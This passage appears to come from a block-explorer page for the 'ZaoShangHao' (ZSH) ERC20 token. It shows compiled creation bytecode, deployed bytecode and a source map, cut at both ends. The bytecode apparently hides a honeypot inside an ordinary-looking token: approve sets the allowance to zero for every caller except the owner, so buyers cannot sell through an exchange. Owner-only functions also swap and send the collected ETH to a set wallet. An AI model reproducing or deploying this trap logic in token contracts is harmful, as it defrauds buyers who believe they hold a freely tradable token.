00000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61221e81611e7f565b811461222957600080fd5b50565b61223581611ebd565b811461224057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d5ad68ee70045b8ed21fb4c5e98296d41777ef51d24e0936b8b1b495c11ca3764736f6c63430008040033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610263578063a9059cbb1461028e578063c3c8cd80146102cb578063dd62ed3e146102e2576100cd565b806370a08231146101e4578063715018a6146102215780638da5cb5b14610238576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461013a57806323b872dd14610165578063313ce567146101a25780636fc3eaec146101cd576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e761031f565b6040516100f49190611b43565b60405180910390f35b34801561010957600080fd5b50610124600480360381019061011f9190611863565b61035c565b6040516101319190611b0d565b60405180910390f35b34801561014657600080fd5b5061014f61037a565b60405161015c9190611c85565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611814565b610390565b6040516101999190611b0d565b60405180910390f35b3480156101ae57600080fd5b506101b7610469565b6040516101c49190611cfa565b60405180910390f35b3480156101d957600080fd5b506101e2610472565b005b3480156101f057600080fd5b5061020b60048036038101906102069190611786565b6104e4565b6040516102189190611c85565b60405180910390f35b34801561022d57600080fd5b50610236610535565b005b34801561024457600080fd5b5061024d610688565b60405161025a9190611af2565b60405180910390f35b34801561026f57600080fd5b506102786106b1565b6040516102859190611b43565b60405180910390f35b34801561029a57600080fd5b506102b560048036038101906102b09190611863565b6106ee565b6040516102c29190611b0d565b60405180910390f35b3480156102d757600080fd5b506102e061070c565b005b3480156102ee57600080fd5b50610309600480360381019061030491906117d8565b610786565b6040516103169190611c85565b60405180910390f35b60606040518060400160405280600b81526020017f5a616f5368616e6748616f000000000000000000000000000000000000000000815250905090565b600061037061036961080d565b8484610815565b6001905092915050565b60006d04ee2d6d415b85acef8100000000905090565b600061039d848484610b08565b61045e846103a961080d565b6104598560405180606001604052806028815260200161224460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040f61080d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c4a9092919063ffffffff16565b610815565b600190509392505050565b60006012905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104b361080d565b73ffffffffffffffffffffffffffffffffffffffff16146104d357600080fd5b60004790506104e181610cae565b50565b600061052e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d1a565b9050919050565b61053d61080d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611c05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5a53480000000000000000000000000000000000000000000000000000000000815250905090565b60006107026106fb61080d565b8484610b08565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074d61080d565b73ffffffffffffffffffffffffffffffffffffffff161461076d57600080fd5b6000610778306104e4565b905061078381610d88565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c90611c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec90611ba5565b60405180910390fd5b6108fd610688565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a1c576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256004604051610a0f9190611b28565b60405180910390a3610b03565b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610afa9190611c85565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90611c45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90611b65565b60405180910390fd5b60008111610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611c25565b60405180910390fd5b6000600a81905550600b8081905550610c45838383611082565b505050565b6000838311158290610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c899190611b43565b60405180910390fd5b5060008385610ca19190611e4b565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d16573d6000803e3d6000fd5b5050565b6000600854821115610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890611b85565b60405180910390fd5b6000610d6b611092565b9050610d8081846110bd90919063ffffffff16565b915050919050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115610de6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610e145781602001602082028036833780820191505090505b5090503081600081518110610e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ef457600080fd5b505afa158015610f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2c91906117af565b81600181518110610f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610fcd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610815565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611031959493929190611ca0565b600060405180830381600087803b15801561104b57600080fd5b505af115801561105f573d6000803e3d6000fd5b50505050506000600f60146101000a81548160ff02191690831515021790555050565b61108d838383611107565b505050565b600080600061109f6112d2565b915091506110b681836110bd90919063ffffffff16565b9250505090565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611343565b905092915050565b600080600080600080611119876113a6565b95509550955095509550955061117786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611258816114b6565b6112628483611573565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112bf9190611c85565b60405180910390a3505050505050505050565b6000806000600854905060006d04ee2d6d415b85acef810000000090506113126d04ee2d6d415b85acef81000000006008546110bd90919063ffffffff16565b821015611336576008546d04ee2d6d415b85acef810000000093509350505061133f565b81819350935050505b9091565b6000808311829061138a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113819190611b43565b60405180910390fd5b50600083856113999190611dc0565b9050809150509392505050565b60008060008060008060008060006113c38a600a54600b546115ad565b92509250925060006113d3611092565b905060008060006113e68e878787611643565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061145083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c4a565b905092915050565b60008082846114679190611d6a565b9050838110156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390611bc5565b60405180910390fd5b8091505092915050565b60006114c0611092565b905060006114d782846116cc90919063ffffffff16565b905061152b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6115888260085461140e90919063ffffffff16565b6008819055506115a38160095461145890919063ffffffff16565b6009819055505050565b6000806000806115d960646115cb888a6116cc90919063ffffffff16565b6110bd90919063ffffffff16565b9050600061160360646115f5888b6116cc90919063ffffffff16565b6110bd90919063ffffffff16565b9050600061162c8261161e858c61140e90919063ffffffff16565b61140e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061165c85896116cc90919063ffffffff16565b9050600061167386896116cc90919063ffffffff16565b9050600061168a87896116cc90919063ffffffff16565b905060006116b3826116a5858761140e90919063ffffffff16565b61140e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156116df5760009050611741565b600082846116ed9190611df1565b90508284826116fc9190611dc0565b1461173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390611be5565b60405180910390fd5b809150505b92915050565b60008135905061175681612215565b92915050565b60008151905061176b81612215565b92915050565b6000813590506117808161222c565b92915050565b60006020828403121561179857600080fd5b60006117a684828501611747565b91505092915050565b6000602082840312156117c157600080fd5b60006117cf8482850161175c565b91505092915050565b600080604083850312156117eb57600080fd5b60006117f985828601611747565b925050602061180a85828601611747565b9150509250929050565b60008060006060848603121561182957600080fd5b600061183786828701611747565b935050602061184886828701611747565b925050604061185986828701611771565b9150509250925092565b6000806040838503121561187657600080fd5b600061188485828601611747565b925050602061189585828601611771565b9150509250929050565b60006118ab83836118b7565b60208301905092915050565b6118c081611e7f565b82525050565b6118cf81611e7f565b82525050565b60006118e082611d25565b6118ea8185611d48565b93506118f583611d15565b8060005b8381101561192657815161190d888261189f565b975061191883611d3b565b9250506001810190506118f9565b5085935050505092915050565b61193c81611e91565b82525050565b61194b81611ed4565b82525050565b61195a81611ee6565b82525050565b600061196b82611d30565b6119758185611d59565b9350611985818560208601611ef8565b61198e81611f89565b840191505092915050565b60006119a6602383611d59565b91506119b182611f9a565b604082019050919050565b60006119c9602a83611d59565b91506119d482611fe9565b604082019050919050565b60006119ec602283611d59565b91506119f782612038565b604082019050919050565b6000611a0f601b83611d59565b9150611a1a82612087565b602082019050919050565b6000611a32602183611d59565b9150611a3d826120b0565b604082019050919050565b6000611a55602083611d59565b9150611a60826120ff565b602082019050919050565b6000611a78602983611d59565b9150611a8382612128565b604082019050919050565b6000611a9b602583611d59565b9150611aa682612177565b604082019050919050565b6000611abe602483611d59565b9150611ac9826121c6565b604082019050919050565b611add81611ebd565b82525050565b611aec81611ec7565b82525050565b6000602082019050611b0760008301846118c6565b92915050565b6000602082019050611b226000830184611933565b92915050565b6000602082019050611b3d6000830184611951565b92915050565b60006020820190508181036000830152611b5d8184611960565b905092915050565b60006020820190508181036000830152611b7e81611999565b9050919050565b60006020820190508181036000830152611b9e816119bc565b9050919050565b60006020820190508181036000830152611bbe816119df565b9050919050565b60006020820190508181036000830152611bde81611a02565b9050919050565b60006020820190508181036000830152611bfe81611a25565b9050919050565b60006020820190508181036000830152611c1e81611a48565b9050919050565b60006020820190508181036000830152611c3e81611a6b565b9050919050565b60006020820190508181036000830152611c5e81611a8e565b9050919050565b60006020820190508181036000830152611c7e81611ab1565b9050919050565b6000602082019050611c9a6000830184611ad4565b92915050565b600060a082019050611cb56000830188611ad4565b611cc26020830187611942565b8181036040830152611cd481866118d5565b9050611ce360608301856118c6565b611cf06080830184611ad4565b9695505050505050565b6000602082019050611d0f6000830184611ae3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611d7582611ebd565b9150611d8083611ebd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611db557611db4611f2b565b5b828201905092915050565b6000611dcb82611ebd565b9150611dd683611ebd565b925082611de657611de5611f5a565b5b828204905092915050565b6000611dfc82611ebd565b9150611e0783611ebd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e4057611e3f611f2b565b5b828202905092915050565b6000611e5682611ebd565b9150611e6183611ebd565b925082821015611e7457611e73611f2b565b5b828203905092915050565b6000611e8a82611e9d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611edf82611ebd565b9050919050565b6000611ef182611ebd565b9050919050565b60005b83811015611f16578082015181840152602081019050611efb565b83811115611f25576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61221e81611e7f565b811461222957600080fd5b50565b61223581611ebd565b811461224057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d5ad68ee70045b8ed21fb4c5e98296d41777ef51d24e0936b8b1b495c11ca3764736f6c63430008040033
Deployed Bytecode Sourcemap
3816:7847:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5506:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6358:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5783:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6527:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5692:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9777:194;;;;;;;;;;;;;:::i;:::-;;5886:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2888:148;;;;;;;;;;;;;:::i;:::-;;2674:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5597:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6032:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9574:195;;;;;;;;;;;;;:::i;:::-;;6207:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5506:83;5543:13;4632:10;;;;;;;;;;;;;;;;;5569:12;;5506:83;:::o;6358:161::-;6433:4;6450:39;6459:12;:10;:12::i;:::-;6473:7;6482:6;6450:8;:39::i;:::-;6507:4;6500:11;;6358:161;;;;:::o;5783:95::-;5836:7;173:21;5856:14;;5783:95;:::o;6527:313::-;6625:4;6642:36;6652:6;6660:9;6671:6;6642:9;:36::i;:::-;6689:121;6698:6;6706:12;:10;:12::i;:::-;6720:89;6758:6;6720:89;;;;;;;;;;;;;;;;;:11;:19;6732:6;6720:19;;;;;;;;;;;;;;;:33;6740:12;:10;:12::i;:::-;6720:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6689:8;:121::i;:::-;6828:4;6821:11;;6527:313;;;;;:::o;5692:83::-;5733:5;352:2;5751:16;;5692:83;:::o;9777:194::-;9843:15;;;;;;;;;;;9827:31;;:12;:10;:12::i;:::-;:31;;;9819:40;;;;;;9870:26;9899:21;9870:50;;9931:32;9944:18;9931:12;:32::i;:::-;9777:194;:::o;5886:138::-;5952:7;5979:37;5999:7;:16;6007:7;5999:16;;;;;;;;;;;;;;;;5979:19;:37::i;:::-;5972:44;;5886:138;;;:::o;2888:148::-;2811:12;:10;:12::i;:::-;2801:22;;:6;;;;;;;;;;:22;;;2793:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2995:1:::1;2958:40;;2979:6;::::0;::::1;;;;;;;;2958:40;;;;;;;;;;;;3026:1;3009:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2888:148::o:0;2674:79::-;2712:7;2739:6;;;;;;;;;;;2732:13;;2674:79;:::o;5597:87::-;5636:13;4683:12;;;;;;;;;;;;;;;;;5662:14;;5597:87;:::o;6032:167::-;6110:4;6127:42;6137:12;:10;:12::i;:::-;6151:9;6162:6;6127:9;:42::i;:::-;6187:4;6180:11;;6032:167;;;;:::o;9574:195::-;9640:15;;;;;;;;;;;9624:31;;:12;:10;:12::i;:::-;:31;;;9616:40;;;;;;9667:23;9693:24;9711:4;9693:9;:24::i;:::-;9667:50;;9728:33;9745:15;9728:16;:33::i;:::-;9574:195;:::o;6207:143::-;6288:7;6315:11;:18;6327:5;6315:18;;;;;;;;;;;;;;;:27;6334:7;6315:27;;;;;;;;;;;;;;;;6308:34;;6207:143;;;;:::o;392:98::-;445:7;472:10;465:17;;392:98;:::o;7110:388::-;7209:1;7195:16;;:2;:16;;;;7187:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;7285:1;7271:16;;:2;:16;;;;7263:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7349:7;:5;:7::i;:::-;7343:13;;:2;:13;;;7339:152;;7382:1;7360:11;:15;7372:2;7360:15;;;;;;;;;;;;;;;:19;7376:2;7360:19;;;;;;;;;;;;;;;:23;;;;7403:2;7390:19;;7399:2;7390:19;;;7407:1;7390:19;;;;;;:::i;:::-;;;;;;;;7339:152;;;7451:6;7429:11;:15;7441:2;7429:15;;;;;;;;;;;;;;;:19;7445:2;7429:19;;;;;;;;;;;;;;;:28;;;;7477:2;7464:24;;7473:2;7464:24;;;7481:6;7464:24;;;;;;:::i;:::-;;;;;;;;7339:152;7110:388;;;:::o;7506:403::-;7610:1;7594:18;;:4;:18;;;;7586:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7687:1;7673:16;;:2;:16;;;;7665:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7757:1;7748:6;:10;7740:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7829:1;7817:9;:13;;;;222:2;7841:9;:19;;;;7871:30;7886:4;7891:2;7894:6;7871:14;:30::i;:::-;7506:403;;;:::o;1529:190::-;1615:7;1648:1;1643;:6;;1651:12;1635:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1675:9;1691:1;1687;:5;;;;:::i;:::-;1675:17;;1710:1;1703:8;;;1529:190;;;;;:::o;8408:97::-;8465:15;;;;;;;;;;;:24;;:32;8490:6;8465:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8408:97;:::o;6848:254::-;6915:7;6954;;6943;:18;;6935:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7019:19;7042:10;:8;:10::i;:::-;7019:33;;7070:24;7082:11;7070:7;:11;;:24;;;;:::i;:::-;7063:31;;;6848:254;;;:::o;7917:483::-;5009:4;5000:6;;:13;;;;;;;;;;;;;;;;;;7995:21:::1;8033:1;8019:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7995:40;;8064:4;8046;8051:1;8046:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;8090:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8080:4;8085:1;8080:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;8123:62;8140:4;8155:15;;;;;;;;;;;8173:11;8123:8;:62::i;:::-;8196:15;;;;;;;;;;;:66;;;8277:11;8303:1;8319:4;8346;8366:15;8196:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5024:1;5045:5:::0;5036:6;;:14;;;;;;;;;;;;;;;;;;7917:483;:::o;8513:146::-;8607:44;8625:6;8633:9;8644:6;8607:17;:44::i;:::-;8513:146;;;:::o;11233:163::-;11274:7;11295:15;11312;11331:19;:17;:19::i;:::-;11294:56;;;;11368:20;11380:7;11368;:11;;:20;;;;:::i;:::-;11361:27;;;;11233:163;:::o;1981:132::-;2039:7;2066:39;2070:1;2073;2066:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2059:46;;1981:132;;;;:::o;8667:487::-;8766:15;8783:23;8808:12;8822:23;8847:12;8861:13;8878:19;8889:7;8878:10;:19::i;:::-;8765:132;;;;;;;;;;;;8926:28;8946:7;8926;:15;8934:6;8926:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;8908:7;:15;8916:6;8908:15;;;;;;;;;;;;;;;:46;;;;8986:39;9009:15;8986:7;:18;8994:9;8986:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;8965:7;:18;8973:9;8965:18;;;;;;;;;;;;;;;:60;;;;9036:16;9046:5;9036:9;:16::i;:::-;9063:23;9075:4;9081;9063:11;:23::i;:::-;9119:9;9102:44;;9111:6;9102:44;;;9130:15;9102:44;;;;;;:::i;:::-;;;;;;;;8667:487;;;;;;;;;:::o;11404:256::-;11454:7;11463;11483:15;11501:7;;11483:25;;11519:15;173:21;11519:25;;11569:20;173:21;11569:7;;:11;;:20;;;;:::i;:::-;11559:7;:30;11555:61;;;11599:7;;173:21;11591:25;;;;;;;;11555:61;11635:7;11644;11627:25;;;;;;11404:256;;;:::o;2121:189::-;2207:7;2239:1;2235;:5;2242:12;2227:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2266:9;2282:1;2278;:5;;;;:::i;:::-;2266:17;;2301:1;2294:8;;;2121:189;;;;;:::o;9981:471::-;10040:7;10049;10058;10067;10076;10085;10106:23;10131:12;10145:13;10162:42;10174:7;10183:9;;10194;;10162:11;:42::i;:::-;10105:99;;;;;;10215:19;10238:10;:8;:10::i;:::-;10215:33;;10260:15;10277:23;10302:12;10318:46;10330:7;10339:4;10345:5;10352:11;10318;:46::i;:::-;10259:105;;;;;;10383:7;10392:15;10409:4;10415:15;10432:4;10438:5;10375:69;;;;;;;;;;;;;;;;;;;9981:471;;;;;;;:::o;1385:136::-;1443:7;1470:43;1474:1;1477;1470:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1463:50;;1385:136;;;;:::o;1198:179::-;1256:7;1276:9;1292:1;1288;:5;;;;:::i;:::-;1276:17;;1317:1;1312;:6;;1304:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1368:1;1361:8;;;1198:179;;;;:::o;9162:212::-;9215:19;9238:10;:8;:10::i;:::-;9215:33;;9259:13;9275:22;9285:11;9275:5;:9;;:22;;;;:::i;:::-;9259:38;;9333:33;9360:5;9333:7;:22;9349:4;9333:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;9308:7;:22;9324:4;9308:22;;;;;;;;;;;;;;;:58;;;;9162:212;;;:::o;9382:147::-;9460:17;9472:4;9460:7;;:11;;:17;;;;:::i;:::-;9450:7;:27;;;;9501:20;9516:4;9501:10;;:14;;:20;;;;:::i;:::-;9488:10;:33;;;;9382:147;;:::o;10460:351::-;10553:7;10562;10571;10591:12;10606:28;10630:3;10606:19;10618:6;10606:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;10591:43;;10645:13;10661:29;10686:3;10661:20;10673:7;10661;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;10645:45;;10701:23;10727:28;10749:5;10727:17;10739:4;10727:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;10701:54;;10774:15;10791:4;10797:5;10766:37;;;;;;;;;10460:351;;;;;;;:::o;10819:409::-;10929:7;10938;10947;10967:15;10985:24;10997:11;10985:7;:11;;:24;;;;:::i;:::-;10967:42;;11020:12;11035:21;11044:11;11035:4;:8;;:21;;;;:::i;:::-;11020:36;;11067:13;11083:22;11093:11;11083:5;:9;;:22;;;;:::i;:::-;11067:38;;11116:23;11142:28;11164:5;11142:17;11154:4;11142:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11116:54;;11189:7;11198:15;11215:4;11181:39;;;;;;;;;;10819:409;;;;;;;;:::o;1727:246::-;1785:7;1814:1;1809;:6;1805:47;;;1839:1;1832:8;;;;1805:47;1862:9;1878:1;1874;:5;;;;:::i;:::-;1862:17;;1907:1;1902;1898;:5;;;;:::i;:::-;:10;1890:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1964:1;1957:8;;;1727:246;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;353:87;;;;:::o;446:262::-;505:6;554:2;542:9;533:7;529:23;525:32;522:2;;;570:1;567;560:12;522:2;613:1;638:53;683:7;674:6;663:9;659:22;638:53;:::i;:::-;628:63;;584:117;512:196;;;;:::o;714:284::-;784:6;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:64;973:7;964:6;953:9;949:22;917:64;:::i;:::-;907:74;;863:128;791:207;;;;:::o;1004:407::-;1072:6;1080;1129:2;1117:9;1108:7;1104:23;1100:32;1097:2;;;1145:1;1142;1135:12;1097:2;1188:1;1213:53;1258:7;1249:6;1238:9;1234:22;1213:53;:::i;:::-;1203:63;;1159:117;1315:2;1341:53;1386:7;1377:6;1366:9;1362:22;1341:53;:::i;:::-;1331:63;;1286:118;1087:324;;;;;:::o;1417:552::-;1494:6;1502;1510;1559:2;1547:9;1538:7;1534:23;1530:32;1527:2;;;1575:1;1572;1565:12;1527:2;1618:1;1643:53;1688:7;1679:6;1668:9;1664:22;1643:53;:::i;:::-;1633:63;;1589:117;1745:2;1771:53;1816:7;1807:6;1796:9;1792:22;1771:53;:::i;:::-;1761:63;;1716:118;1873:2;1899:53;1944:7;1935:6;1924:9;1920:22;1899:53;:::i;:::-;1889:63;;1844:118;1517: